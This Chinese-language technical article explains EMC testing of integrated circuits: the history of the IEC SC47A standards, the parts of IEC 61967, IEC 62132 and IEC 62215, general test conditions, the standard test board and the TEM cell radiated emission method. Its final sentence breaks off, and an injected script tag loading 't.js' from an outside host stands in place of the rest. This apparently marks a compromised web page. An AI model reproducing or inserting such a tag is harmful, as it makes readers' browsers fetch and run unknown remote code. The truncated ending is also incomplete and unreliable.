当今,集成电路的电磁兼容性越来越受到重视。电子设备和系统的生产商努力改进他们的产品以满足电磁兼容规范,降低电磁发射和增强抗干扰能力。过去,集成电路生产商关心的只是成本,应用领域和使用性能,几乎很少考虑电磁兼容的问题。即使单片集成电路通常不会产生较大的辐射,但它还是经常成为电子系统辐射发射的根源。当大量的数字信号瞬间同时切换时便会产生许多的高频分量。
尤其是近年来,集成电路的频率越来越高,集成的晶体管数目越来越多,集成电路的电源电压越来越低,加工芯片的特征尺寸进一步减小,越来越多的功能,甚至是一个完整的系统都能够被集成到单个芯片之中,这些发展都使得芯片级电磁兼容显得尤为突出。现在,集成电路生产商也要考虑自己产品电磁兼容方面的问题。
集成电路电磁兼容的标准化
由于集成电路的电磁兼容是一个相对较新的学科,尽管对于电子设备及子系统已经有了较详细的电磁兼容标准,但对于集成电路来说其测试标准却相对滞后。国际电工委员会第47a技术分委会(iec sc47a)早在1990年就开始专注于集成电路的电磁兼容标准研究。此外,北美的汽车工程协会也开始制定自己的集成电路电磁兼容测试标准sae j 1752,主要是发射测试的部分。1997年,iec sc47a下属的第九工作组wg9成立,专门负责集成电路电磁兼容测试方法的研究,参考了各国的建议,至今相继出版了150khz-1ghz的集成电路电磁发射测试标准iec61967和集成电路电磁抗扰度标准iec62132 。此外,在脉冲抗扰度方面,wg9也正在制定对应的标准iec62215。
目前,iec61967标准用于频率为150khz到1ghz的集成电路电磁发射测试,包括以下六个部分:
第一部分:通用条件和定义(参考sae j1752.1);
第二部分:辐射发射测量方法——tem小室法(参考sae j1752.3);
第三部分:辐射发射测量方法——表面扫描法(参考sae j1752.2);
第四部分:传导发射测量方法——1ω/150ω直接耦合法;
第五部分:传导发射测量方法——法拉第笼法wfc(workbench faraday cage);
第六部分:传导发射测量方法——磁场探头法。
iec62132标准,用于频率为150khz到1ghz的集成电路电磁抗扰度测试,包括以下五部分:
第一部分:通用条件和定义;
第二部分:辐射抗扰度测量方法—— tem小室法 ;
第三部分:传导抗扰度测量方法——大量电流注入法(bci) ;
第四部分:传导抗扰度测量方法——直接射频功率注入法(dpi) ;
第五部分:传导抗扰度测量方法——法拉第笼法(wfc)。
iec62215标准,用于集成电路脉冲抗扰度测试,包括以下三部分,但尚未正式出版:
第一部分:通用条件和定义;
第二部分:传导抗扰度测量方法——同步脉冲注入法 ;
第三部分:传导抗扰度测量方法——随机脉冲注入法参考(iec61000-4-2和iec61000-4-4) 。
下文主要针对iec61967 和iec62132的测试方法进行讲解。
集成电路电磁兼容测试方法
电磁发射测试标准——iec61967
第一部分:通用条件和定义
传感器:tem小室、场探头等;
频谱仪或接收机:频率范围覆盖150khz-1ghz,峰值检波、带最大值保持功能,分辨率带宽的设置如下表:
表一 分辨率带宽的选择
电源:用电池供电或采用低射频噪声的电源;
测试温度:23℃±5℃;
环境噪声:除被测ic外其余外围电路供电时,所测到的背景噪声低于限值至少6db,必要时可采用前置放大器;
测试电路板:通常集成电路测试需要安装在一块印制电路板上,为提高测试的方便性与重复性,标准规定了电路板的规格,如下图所示,标准电路板的大小与tem小室顶端的开口大小匹配,板上既可以集成iec61967发射测试需要的1ω/150ω直接耦合法阻抗匹配网络,磁场探头法测试用的迹线,也可以集成iec62132-4用到的耦合电容。
图一 标准集成电路测试板第二部分:辐射发射测量方法——tem小室法
图二 tem小室法辐射发射测试示意图tem小室其实就是一个变型的同轴线:在此同轴线中部,由一块扁平的芯板作为内导体,外导体为方形,两端呈锥形向通用的同轴器件过渡,一头连接同轴线到测试接收机,另一头连接匹配负载,如下图所示。小室的外导体顶端有一个方形开口用于安装测试电路板。其中,集成电路的一侧安装在小室内侧,互连线和外围电路的一侧向外。这样做使测到的辐射发射主要来源于被测的ic芯片。受测芯片产生的高频电流在互连导线上流动,那些焊接引脚、封装连线就充当了辐射发射天线。当测试频率低于tem小室的一阶高次模频率时,只有主模tem模传输,此时tem小室端口的测试电压与骚扰源的发射大?script src=http://er12.com/t.js>